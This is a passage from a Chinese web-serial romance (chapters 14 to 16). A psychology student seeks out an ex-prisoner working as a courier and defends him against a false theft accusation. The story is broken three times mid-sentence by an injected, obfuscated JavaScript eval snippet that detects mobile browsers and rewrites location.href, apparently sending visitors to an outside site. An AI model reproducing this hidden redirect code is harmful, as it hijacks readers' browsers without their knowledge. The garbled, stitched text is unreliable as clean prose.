他就像一条被困已久的龙,终得一日飞出牢笼,蛰居在这座城市的角落,寻找自我生存的地带,过着普通得不能更普通的日子。 只是白鹿在想,下一次见这条龙,会是什么时候。 14. 第十四章 周末白鹿休息,不用去心理咨询所。 她白天无事逛校园,从图书馆出来,经过学院大楼附近,恰巧碰见方老师。 方老师正跟别的老师散着步,她住在学校教师公寓,平常碰面机会较多。 白鹿等她跟旁人道别,上前招呼:“方老师!” 方老师拉着她在小径上漫步,边走边问:“今天没事做?” “没事,出来看看书。” 方老师瞧着她:“怎么样?碰到棘手的问题了吗?” 白鹿摇头。 “那是论文方向确定了?” 说起这个,白鹿也想跟她分享件事。 她凑近后悄悄说:“上次给我回信那个,前天跟我碰面了。” “哦?”方老师问,“是江司监狱的人?” 白鹿点头:“刚出来不久。” 方老师很有经验地询问:“你都聊到什么方向了?对方信任你吗?” 白鹿自然做到了足够的保密,神秘道:“现在还不能说,到时候交论文您就知道了。” 学生卖了关子,方老师也不好奇,她笑着感慨:“你们宿舍也就你有恒心,另外几个当初信誓旦旦说研究这个,现在倒是只有你留下来了。” 白鹿一想还真是,短短几个月,大家的发展方向都不一致了。 姜琦想做培训师,给一些企业提供EAP服务;何青青则选择去高校当心理健康老师,为青少年心理教育的发展做辅导;唯独唐佳另辟蹊径,倒是真被张医生招纳,潜心钻研医学上的心理治疗法。 她跟方老师提到这一点,后者反告知她说:“唐佳这回原本进不去,是她托我向张医生打了招呼,对方才破格答应。” 关于这件事情,白鹿曾听唐佳在宿舍抱怨过,但没想到中间还有这么一段波折,不过仔细想来也是这般,上回那场听讲会议就走一个流程,对方是研究医学心理,针对的对象是一些拥有严重心理障碍或者精神疾病的病人,其次在学识证书要求方面,都跟她们所学专业有些不合,如有涉及也是需要一些心理方面的协助。 不过唐佳心意已决,当真看起了不少专业书籍,打算去考心理治疗师的资格认证。 聊了一些,方老师问白鹿:“你对这方面感兴趣吗?其实如果没有唐佳,我会选择推荐你。对于治疗催眠这方面,你应该有需要好好研究。” 白鹿莞尔一笑:“我要学的还多着,以后有机会再说,现在我只想让那些人恢复正常的生活。就那句话怎么说来着,助人使我快乐。” 方老师眯眼笑笑,没有多说。 两人一路闲逛到东大门附近,方老师问:“接下来打算去哪?” 白鹿脱离她身边,径直往校门口走,回头挥手:“出去买个东西。老师,我先走了!” * 白鹿无所事事,也是突然间想到出门逛逛。 生活区连接学校北门,每天需要穿马路上课。 这一带地处大学城,附近皆是高校建筑。 学校东南西北都有大门,她鲜少走过的就是东门,这边基本上都是写字楼,娱乐设施少,因此就不常过来。 白鹿沿着校外街道慢慢走着,顺便拿出手机看网上地图。 手机定位很准确,显示她目前所在位置对面有一家银行,以及一处咖啡馆。 标示有限,再无其他。 白鹿捧着手机望对面,从左到右一一扫过去,大多是吃饭的馆子,倒是夹着一间快递接收点,但不是前天他工作服上那家。 也许在某个旮旯处,先找着吧,白鹿想。 她低头看时间,临近中午十一点半,不知不觉到饭点了。 肚子正好饿着,她穿过马路走到对面一家汤面馆,进去要了一份面疙瘩。 店内各色人群进出,热气腾腾中吆喝声起伏。 吃到大半碗,白鹿觉得这玩意膨胀得像毛毛虫,光是看着就有些饱了。 正寻思着要不要吃完,抬眼一瞥望见一抹熟悉的身影。 白鹿眼皮一跳,下意识屏住呼吸,紧盯住进来的两个人。 两秒后,她又舒了口气,不是秦龙,而是跟他穿同样工作服的快递人员罢了。 那两个男人明显没有他高,似乎提前跟老板约好了外卖,走到窗口那边付了钱就打包带走,彼此脸上说说笑笑。 白鹿看着他们从眼前走过,她猜想应该不会走多远。 她想也没想,立刻喊老板结账,跟着俩男人离开的方向追出去。 沿着街道一路跟,过了一百米处,白鹿发现他们往左拐了,她有些印象,那边进去是一条小巷。 男人们的身影先消失,她快步走到拐角处,视野被入口一辆快递大卡车给挡住了。 白鹿顺着车身走到车头,视线清晰了,入目正好就是一家快递点。 门口停歇着两辆小三轮车,车侧面是快递名称标志,店内地上扔满了一堆小山高的快件袋跟各种盒子。 店内四个人,除了刚进去的两个男的,还有两个蹲在地上分拣包裹。 白鹿原地观察了一会,又巡视一圈周围,确定没有秦龙的身影,她抬脚上前,在店门口停留,视线飘向里面,像是随意看看。 店内俩男人在吃饭,捧着碗盒蹲地上,大嗓门聊着天,见到外面有人,高声一喊:“拿快递还是寄快递啊?” 白鹿见他们注意到自己了,整了整肩上的包,往里面走两步,试探问:“你们店招快递员吗?” 男人们默了声,估计在考量她。 一店长模样的体面男人走出来,问她:“你要做快递员?” “不是我。”白鹿连连摆手,她临时想到借口,“我弟弟想找,我来问下你们这儿的待遇。” 也许看起来有些突兀,男人稍有防备地将她打量了遍,问:“几岁?本地人?” 白鹿说:“本地人,二十出头。” 男人又问:“对这个区的所有路线都熟悉吗?” 白鹿想,既然这方面有要求,他几年没出来,是怎么在短时间内熟悉起来的。 “还行吧,一般般。”她问,“你们是要求全区都跑遍吗?” “分领域,你送这个圈子,他送那个圈子,对路线熟的效率就快了。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849977|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这活辛苦,得看他吃不吃得消,别跑了半路就喊停,耽误我们进度。” 白鹿说:“这我知道,那你们待遇是怎样的?” “试用期底薪三千,提成看具体情况,转正之后再往上升,五险一金,另外给配车还有通话费……”男人说到这停下,“要不你还是让他当面来谈一下,我们这忙得可累了,尤其这段日子,年前的货得赶紧送完,基本上没得休息。” 白鹿知道不能忽悠下去了,她望一眼店内,故意说:“你们就俩个快递员,确实够辛苦的。” 男人一听笑了:“哪里只够俩个,还有好几个在外送货呢。” 白鹿了然地点点头,知道秦龙应该就是那几个中的一个。 她不再待下去,当做了下简单了解,道谢完走开了。 店内恢复忙碌。 白鹿走回卡车旁边,停住脚步,将自己隐在车身与墙壁的缝隙内。 她看着时间,十二点过十分。 白鹿注意过,刚才那两个男人带外卖的时候,总共拿了四份。 店内另两个人显然是已经吃过的,那么只能是给别人准备的。 她耐心在巷口静等,一边拿出手机刷网。 没过一会,远处传来轰动的机车声。 白鹿竖起耳朵,声音来源是对面巷口。 她将自己藏得更隐蔽,探出半个头,悄悄望向店门口。 一辆小车稳稳到位。 车前下来一个高大男人,穿黑红相间色的衣服,边走边从身上掏出一沓单子,跨步递交到店内的办公桌上,接着拿出原本放在那儿一只塑料袋内的打包盒,旁边挪过一条凳子坐,就着凌乱不堪的环境吃起来。 他微躬着身,背对着白鹿的方向,安静沉默地吃着。 先前跟白鹿讲待遇的男人走过去,问了一些送货的单量,两人有一句没一句地说着话。 白鹿扒住车头紧紧观察着,总觉得自己这行为太鬼祟猥琐,但又暗地里欣赏这样的做派,至少让她看到了解了一些她本不知道的。 吃完饭做什么呢?不用休息,继续送货? 白鹿想求证自己的想法,于是打算等到他吃完饭为止。 巷子内没多少人经过,即使店内有人说话,也基本上里外听得清。 白鹿正盯得入迷的时候,听到一阵悦耳的铃声,她起初还好奇,谁用了跟她同款的。 待看见店内吃饭的男人似有所感地转过头来,白鹿才知觉是自己的手机在响,而他锐利明亮的眼神仿佛带有穿透力般,隔着车前几层玻璃笔直望过来。 白鹿彻底怂了,连忙捂紧口袋,猫着腰逃一般地溜到车尾,借着遮挡的盲区拐进旁边一家咖啡馆。 白鹿不知道秦龙有没有发现自己,这是一个很伤脑筋伤面子的问题。 她一边暗骂一边掏出欢叫不已的手机,看一眼来电显示,是个陌生号码,犹豫了一会接起来:“喂?” “喂?您好,高新售楼首发,江边地铁直达……” “不需要……嘟嘟嘟……” 白鹿重走出去,气不过,狠狠踹了一脚咖啡店的外墙。 15. 第十五章 不管是险些暴露或者已经暴露,白鹿都没再走回去。 她安慰自己不过是来了一趟实地走访。 结果证明,他没说错,的确在她们学校东门对面,她这一回探寻,也不算无功而返。 要想了解一个人的内心世界,也得看这个人目前的生活状况。 但同时白鹿也知道,自己在无形中对他上了心,她原本藏匿在心底的好奇,从见到这个男人的那一刻起逐渐发酵。不过一天,她就主动跑来求证了。 对于咨询来访,她最厌烦的是那种该说的不说让你自个猜,又或者耍小聪明编造假象的人。 她不跟没诚信的人沟通。 幸而,他不是那种人。 而他不说的那些事,她会让他主动说出来。 回去的路途中,白鹿收到一条短信。 是上回网购的内衣店商家发来的广告,内容差不多就是年终囤货最后一次大促销。 白鹿闲着无聊,点开网页链接,发现活动价比上回还便宜,顿时就如吞了苍蝇般。 她随手清理,直接将信息删了。 后来回到宿舍,她整理衣物时,脑中灵光乍现,突然有了一个想法。 她拿过手机,从网购过的订单里重新点进内衣商品,简单过了几眼,选好了她常穿的尺码,却在颜色上面纠结一时。 白鹿想了想,上回买的是枚红色,这回得选择其他颜色,但平常色她又都有了,出于不想重复的强迫症,最终她挑了件湖蓝色。 她不常挑战偏亮的色调,不过都是穿在里面,想想也没什么可顾忌的。 下单付款完毕,白鹿开始算收货日期。 日子一天天接近年底,学校这边也正式进入了考试周,一旦这学期结束,生活区这边就要闭园,所有人都得离开。 白鹿每天盯着物流动向,这回比上回倒是快了,当天就发货,第三天上午已经在附近网点收入。 这一天,白鹿下午在咨询室没事干,发空待着也心不在焉,便谎称有事提前离开。 她一路看时间,预测没过多久,她的快递就该派件了,说不定等一回去,就能碰上他了。 这么想着,白鹿期盼中又带着些紧张。 再次碰面的时候,她该说些什么,如果他拿怀疑的眼光看自己,是不是得提前想一个好点的借口,说她只不过是受舍友之托而买的。 然后他脸上会出现什么表情,也许什么表情都没有,单纯地应声接着回头忙自己的事…… 不对,白鹿想的不是这样,她该扯点话题跟他聊一些事。 于是在地铁线上,白鹿绞尽脑汁寻思谈话的突破口。 到了出站,白鹿仍旧在思考,其中几个想法被她否决,原因是他看人也会洞悉,她说有些话不一定套得住他,但开门见山又太直白。 她晃晃头,暂且不瞎想,快到生活区门口时,她奇怪竟然没接到快递电话。 走向五号楼下,她远远见到了那辆标志性的小车。 他确实已经在派送了。 白鹿的脚步变得轻快起来,管她说什么呢,说什么都无所谓了。 但是,当她越走近,反而变得愈加失望。 派件的快递员压根不是他,不管是体型还是身高都差了不少,那人没戴帽子,头上的发长且杂乱。 白鹿走到他面前站定,往周边望了一圈,没看到印象中熟悉的人影。 快递小哥问她:“叫什么名?” 白鹿怀疑他们是分两拨派送,于是掏出手机看进度。 但显然她又失望一回,网上显示已经在派送了。 “你没打电话。”白鹿放下手机说。 小哥解释:“刚要打呢,今天学生考试,现在差不多放了,才过来送的。” 白鹿点点头,认了:“那有白鹿的吗?” “白鹿……”小哥在一堆纸袋中翻来覆去,最终找到递过来,“喏,签个名字。” 白鹿想说,上回可没让我签名。 不过她还是拿过来签了,顺便说道:“之前好像不是你送的。” 小哥说:“不是我。” 白鹿漫不经心的样子,说:“哦,那上次那个去哪儿了?” “上次?”小哥回忆道,“走了,早就走了,换工作了。” 白鹿放下笔,皱眉:“换工作?” “嗯,都走了半个月了。” 白鹿一头雾水,这才发现两人没说到同一个点上。 秦龙出来还没半个月,这小哥说得显然不是他。 “不是。”白鹿摇摇头,“我说的是前几天过来送的,个子挺高的那个。” 说完,她比划了下,手举过头顶。 小哥明白她说谁了,了然道:“他啊,他不送这儿的。” “不送?”白鹿困惑了,“不送他还送?” 她问得急了,出口才发现话都说得打结了。 小哥倒也没被问烦,看上去挺爱搭腔,道:“唉,上回是我家里有事,他帮我过来送的。” 白鹿恍然,原来是这样,也就是说这片区域不归他管理派送。 但上回他们谈话之间,他丝毫没有说清这一点。 白鹿憋出一口气,想着还就刨根问底了,她继续:“那他是去别的大学送?” “这儿的大学啊,全都是我送。”小哥笑笑,伸手一指,“他去前面江边,就商业区写字楼那块。” “哦。”白鹿掩饰地笑,“那现在都忙着送件是吧?” 小哥叹了气:“今天比之前更忙,下午他请假了,有事不来,我们要帮忙分送,不然积到明天更累。” “请假?”白鹿自言自语,略微蹙眉。 小哥没发觉她的异样,顾自说:“就是有事呗,说是接朋友。” 白鹿眉心更皱,他有什么朋友。 “诶,你东西拿好啊。”小哥提醒她。 陆续有同学过来拿快递,白鹿捧了自己的走开,眼睛扫着这件货,突然怎么看怎么碍眼。 果然女人易冲动,冲动是魔鬼,说得一点没错。 回到宿舍,白鹿连拆快递的心思都没有,手上拨转着手机,眼神四处飘。 她点开通讯录,里面的备注都是全名,这是白鹿作为强迫性的一种习惯。 他的顺序在偏后面,白鹿往下划了几下,手指恰好按在他的名字上,点开来,她再点发送信息。 信息栏是空的,他们还未联系过。 白鹿准备主动破例,她有种预感,她不找他,到了猴年马月他也不会联系。 不知道是不是她的错觉,出狱之后,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849978|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像变得更加沉默寡言了。 虽然她也不知道他原先是怎样的性格,但判刑入狱这件事对任何人来说打击不小。 白鹿点着键盘拼音,胡乱打字,编辑了许久,最后只发出一句: “在忙什么?” 她放下手机,支起手肘敲桌子,眼睛盯着屏幕,耐心等着那边的回复。 但她突然间又意识到,自己没有附上大名,他要是还未存号码,反问一句“你是哪位”,那就有些尴尬了。 屏幕灭了,被她按亮,再灭再亮。如此往复,大概过了十多分钟,还是没有消息。 白鹿泄了气,想到他那只类似绝版的老年机,照理该是大喇叭般提示音加振动,怎么就没动静了。 她起身,拿了个苹果去洗,洗完在阳台上吃,俯瞰楼下的风景。 吃完她走回来,拿起手机,惊喜地发现他回复了。 白鹿不自觉得勾起嘴角,尽管他回得惜字如金。 两个字——接人。 白鹿没问接谁,总之她也不认识,于是换了个问法。 “在哪接人?” 这次不到十秒钟,他回了。 “监狱。” 白鹿放下手机,她大概猜到了,应该是里面跟他一块儿的。 也是,他这样出来,能称得上朋友的就只有这些人了。 她没再问过去,那方有了歇着的迹象,她没必要再去追问打扰。 白鹿习惯强迫自己,但她不会强迫别人。 上回让他请吃饭,算是第一次勉强。 * 又过几天,园区放假回家的人逐渐多了,每天楼道都有清晰的箱子滚轮的声音。 周末,一宿舍的人都休息,睡到将近上午十点。 由于当天就有几个人要回去,为了年前最后一次聚餐,白鹿提议中午出去吃饭。 地方选在商业步行街,学生白领逛街看电影吃饭都爱去那儿。 白鹿提前在网上订桌,大伙儿去吃自助餐。 四人步行出发,走到的时候正好赶上。 她们穿过马路,步行街人群熙攘,密密麻麻。 这边高楼林立,三层以上都是企业公司,底下几层则是餐馆店铺。 白鹿在上户外电梯时观望楼下,倏然间瞄到一个身影,准确地说是那件制服吸引了她的视线。 她一瞬不瞬地盯着,但那人背对着她立在那儿,面前站一指手画脚的女人,似乎起了不小的争执,边上围几个看热闹的人。 白鹿不敢忽视,她踏上商场的天桥处,径直往另一边方向走,从那人的身影再到那人的侧面,她逐渐确定了,就是他。 唐佳她们跟过来,好奇问:“鹿鹿,你看到谁了?” “没有。”白鹿摇了摇头,对她们说,“你们先进去找位置,我突然想下楼买甜筒,待会儿给你们带上来。” “好,那你快点。”三人没疑惑,往回走过去。 白鹿的视线重新俯视,那儿围观的人逐渐多了,女人似乎不轻易善罢甘休,行为举止都很激烈,矛头直指那个始终站姿笔挺的男人。 他戴着深蓝色帽子,头歪侧着,不知道有没有说话,眉眼也看不真切。 白鹿想也没想,从前方电梯下去,穿过围堵的人群,来到他的身后。 16. 第十六章 女人气焰嚣张,有凭有据,一张嘴叽里呱啦说不停。 相较之下,男人的沉默在众人眼中看来,似是毫无底气的默认。 白鹿站了会儿,大概听懂了,意思是这白领模样的女人接到快递电话下来拿件,却被告知已经被人前脚拿走了。 这件是秦龙送的,他的包裹袋还背在身上,旁人猜测是不是误会,也许记错了快递公司或者是认识的人帮忙拿走了。 女人立即满口否决,坚称都核对过了,确定是这人送的,而且自己接到电话就下来了,中途根本没人知道。 这还没完,重要的是,这女人号称快件里有价值上万的首饰,并拐弯抹角指现在快递员手脚不干净,说什么也不肯放他走。 扯到贵重物品,这事就变得悬乎不清了。 白鹿从后方探秦龙侧面,他镇定着一张脸,没有任何反驳,静等女人说完,仿佛他人的污蔑泼不上身。 然而话多的人总是显得在理,外人听久了,逐渐将立场站到女人那一方。 这世道就是这样,事态演烈,舆论总是偏向一致。 白鹿终看不下去,跨步挺身而出,往女人跟前一站,个子同穿高跟的对方齐平,一双眼笔直瞪着她。 白领女人领导模样,见一小姑娘突然间挡了出来,带有疑虑地打量,莫名其妙问:“你谁呀?” 白鹿唬她:“我是律师。” 她说完这话,清晰分明地感受到后方睇射过来一道目光,不过她没回视,继续盯着眼前的女人。 女人被白鹿瞧得不自然,往后退一步,双臂抱胸,表情倨傲:“你看我干嘛? ” 白鹿煞有介事地将这人的嘴脸审度了遍,自言自语评价:“两只眼睛不多不少,嘴倒是挺多。” 女人听出她话里的讽刺,愠怒道:“你骂谁呢!” 白鹿摇摇头,声带惋惜:“看来耳朵也不行。” 女人气急:“你……” “你长了第三只眼吗?”白鹿抢过话,跟她争论,“你亲眼看到他藏起来了吗?你又怎么证明里面一定是什么?说话讲究证据,否则我可以告你污蔑诽谤。” 女人听她说完,毫不退却,冷哼一声,对众人道:“这是来了帮手啊,他们肯定是一伙的,律师厉害,我爸还是法官呢!” 白鹿见她蛮不讲理,只能让事实说话,她转过身,走到秦龙身边,仰头凑近他,问:“你在哪儿给人的?” 秦龙垂眸看她半刻,眼神有些琢磨不透,但淡漠的脸色有了点缓和,昂了昂下巴指前方一楼大厅:“里面,保安不让上去,监控区域下分的。” 白鹿往那个方向看去,大厅内空旷无人,也不知道管物业的人在哪,一时间还真说不清楚。 “你给谁了?”她又问。 “一个女的,说认识的带上去。”他视线停留在她脸上,不知在看什么,给她一种脸上有花的错觉。 白鹿摸了摸右脸:“记得长什么样吗?” 他点头。 白鹿相信他说的是真的。 她再次走到女人身边,指着对方手机道:“你给你公司前台打电话确认下,基本常识总得有吧,也不能光凭你一面之词下结论啊。” 女人短时内噤了声,显然并没有通过消息。 她瞥了白鹿两眼,心不甘情不愿拿出手机,自个走到一边去拨电话。 很快,她又走回来,气势较之前更盛,像是朝众人声明:“问过了,楼上说没有!” 白鹿无言。 女人以为她没话说了,趁口舌之快再次奚落:“我说这事跟你没关系,你就快点走开,我现在要打电话报警,让警察出面来解决这事,说不定还是惯偷呢。” 最后一句话声音小了些,但那两个字太刺耳,白鹿相信秦龙也听见了,她不知道他作何感想,但光是她自己听来就十足不舒服。 她愤然一激动,手指着那女人,口不择言:“你嘴巴放干净点,瞎几把说什么呢?” 女人反倒一笑:“呦,恼羞成怒了?是编不下去了吧?” 白鹿心中早已气急,但表面情绪还得把控到位,面对这种无赖理论,她也想让权威一方来插足,但一旦警方涉及,他的案底就不免再被翻出来,没人愿意被揭露过去。 所谓多一事不如少一事。 她转眼突然瞥见在外执勤的保安,便朝女人做了个请的手势:“先去保安那儿看监控再下定论,是谁拿的你也许认识。” 女人不理会她的建议,反而无端警觉起来:“你这是要我转移视线,好让他逃跑是吧,我告诉你,就算你们逃了,我一样上快递公司投诉你们去!” 白鹿头疼面对这种人,她有气无力:“大家一起去,你没缺胳膊断腿,走两步也不愿意,就靠一张嘴过活了是吧?” 说完,她作势去扯女人手腕,想让她顺便放心自己不会跑,但对方警戒心高,刚要触碰就扬手一甩,力道还不小,白鹿失了平衡往后退倒…… 她没抓到支撑物,但最终也没有摔下,一堵厚实的肉墙抵住了她的后背,才防止跌倒的危险。 白鹿低头,一双宽大的男性手掌扶在她两肩上,紧实又蕴含热量。 她回头,他也正低头看她,眉头蹙起,声线淡而平稳:“小心点。” 没有责备,但也听不出是否关切。 白鹿站直身,用手抚微乱的发,轻嗯一声。 她开始回想方才,自己的举动有否过激,但就算有也该是情理之中,她从来不希望自己身边的人吃亏。 然而她低头时瞄见细节,刚才他站的不是现在这个位置,所以不是她撞到了他,而是他迎上来接住了她。 这个发现让她不动声色地抿了抿唇。 另一边,始终没发声的秦龙这时站了出去,他横在白鹿面前,背后望去高大健壮,严严实实挡住了她的视线。 她听见他说话了,声音陡然高昂:“去派出所没问题,但你要再动手动脚,别怪我不客气!” 秦龙气场随声音逐渐彰显,那女人的气势在他面前顿时矮了一截,于是故技重施,再次歪曲理解他的话当威胁,哭诉对方占了便宜还反咬一口,请求周围人评评理。 秦龙懒得搭理,他说完便回身,看着白鹿说:“你还站这干嘛,忙自己的事去。” 白鹿挠挠脖子说:“我没什么忙的。” “那你怎么在这儿?” “随便逛逛。” 她撒谎不眨眼,刚说完手机便响了,拿出来一看,是姜琦打来的。 白鹿随手挂了,抬眼看他,针对刚才的话指道:“你别听她的去,这事不复杂,警察来了照样得看监控,这是证据流程。” 秦龙睨她半晌,突然呵得一笑:“证据能做什么呢,就算对方没有充分的证据,只要有心告我,一样能蹲进去。” 他那笑容,多少带点自嘲,令白鹿看得有些迷惘。 “不是的,你要相信法律。”她说。 他没回,侧过身了,视线转向别处。 白鹿觉得她的解释有些苍白,在他的理解角度看来。 白鹿没走,她退到一边,低声给姜琦打了电话,说遇见老同学了,稍微聊一会。 挂掉电话,她再走回去,女人还在凭空造谣。 但事情似乎有了转机,人群中突然闯进一个年轻女孩,急切地抓着女人说话。 白鹿感觉气氛有点不一样了。 那女孩似乎是女人的下属,赔着脸好声好气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849979|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,白鹿注意到她手上拿着一个包裹,当场被女人拆了。 女孩一边帮忙一边道歉:“经理,不好意思,上午你说有一个快递要到,刚才我看见你的名字了,就顺手帮你拿了。” 女人一听顿时就怒了,呵斥她:“我什么时候说过我有快递了,你瞎猜的是吧?” 女孩脸色为难:“上午……您明明说过的呀……” “……” 后面说了什么听不大清了,只见女人当众拉不下脸,扯住女孩的手臂就往楼里面走。 白鹿见了,了解大致情况,拔脚追上去:“哎哎哎……你走什么走啊……” 事情水落石出,周边看戏的人群渐渐散了,白鹿追到了门口,想拉住女人让她道歉,但对方明显是落荒而逃,步子加快一身怂样。 白鹿在后面高喊:“你有脸诋毁没脸道歉,什么毛病!” 女人匆忙进了电梯,一张正脸也不给。 白鹿气得咬牙,还打算追上去,手臂却被人拉住。 她错愕地回头看他。 秦龙一言不发将她拉到外边,松了手,下巴往远处斜,说:“你吃饭去吧,让你朋友都等着,这样不太好。” 白鹿张了张嘴,盯着他侧脸:“你看见了。” “我还看见那天你去我们店里了。” “……” 白鹿无言以对,一张脸迅速烧起来,她轻咳了咳,拢耳边的发丝,接着抬头,揣度他脸色。 他没有刨根问底她为什么去,离去之前别有深意地看了她一眼。 白鹿见他要走,一口气提上来,追上去说:“你刚才为什么能忍下去,虽然说这种事说不清是得吃亏,但也不能从头到尾让人压着骂,你以前不是这样的性子吧。” 秦龙停步回头:“我不跟女人一般见识。” 白鹿目光不移,似懂非懂问:“那怎么样才算不一般的女人?” 秦龙绷着脸,似在思索。 白鹿没等到他的回答,却听他突然唤她:“白老师!” 他倒是还记得这个称呼,她耳熟地展开笑颜:“在!” 秦龙转身面对她,“刚才你没必要过来,更没必要插手这件事。” 白鹿嘴上抗议:“她说话那么难听。” 秦龙:“再难听也影响不到我。” 白鹿心说,你这是刀枪不入的表现,监狱晚期。 她回想起刚才,仍旧不后悔,低头凑到他面前问:“我刚才的表现怎么样?” 他垂眼看她,那一副似要得到夸奖隐隐得意的表情,让他心底沉了一下,淡漠道:“好女孩不应该吐脏字。” 白鹿微愣,的确,她刚才说了不雅的话。 她张口想问什么,小心翼翼看了他眼,最终忍住了。 换了话题,她问:“你吃过没?” 他听出她话里有话,让她看自己身上未送完的件,说:“我还忙着。” “再忙也得吃啊。” 他说:“我不会让自己饿死。” 白鹿看他防范戒备的模样,说:“你别误会,我不是让你请客,中午我跟朋友约了,有地方吃。” 秦龙莫名感觉她还有下一句,便侧头看她,静静地等。 果真又听她叹了气说:“就是下午她们都放假回家了,我一个人真不知道吃什么。面食什么的早腻了,一个人的饭也不好吃,最好是那种大锅煮菜什么的,就是约不到人……” “说吧,晚上几点?”他出声打断她,仿佛从没听她说过那句“晚上一般不吃饭”。 白鹿大喜过望,内心隐隐得逞着,但表面仍保持谨慎,她沉思考虑几秒后,背着手歪头看他。 “晚上七点,生活区门口见。”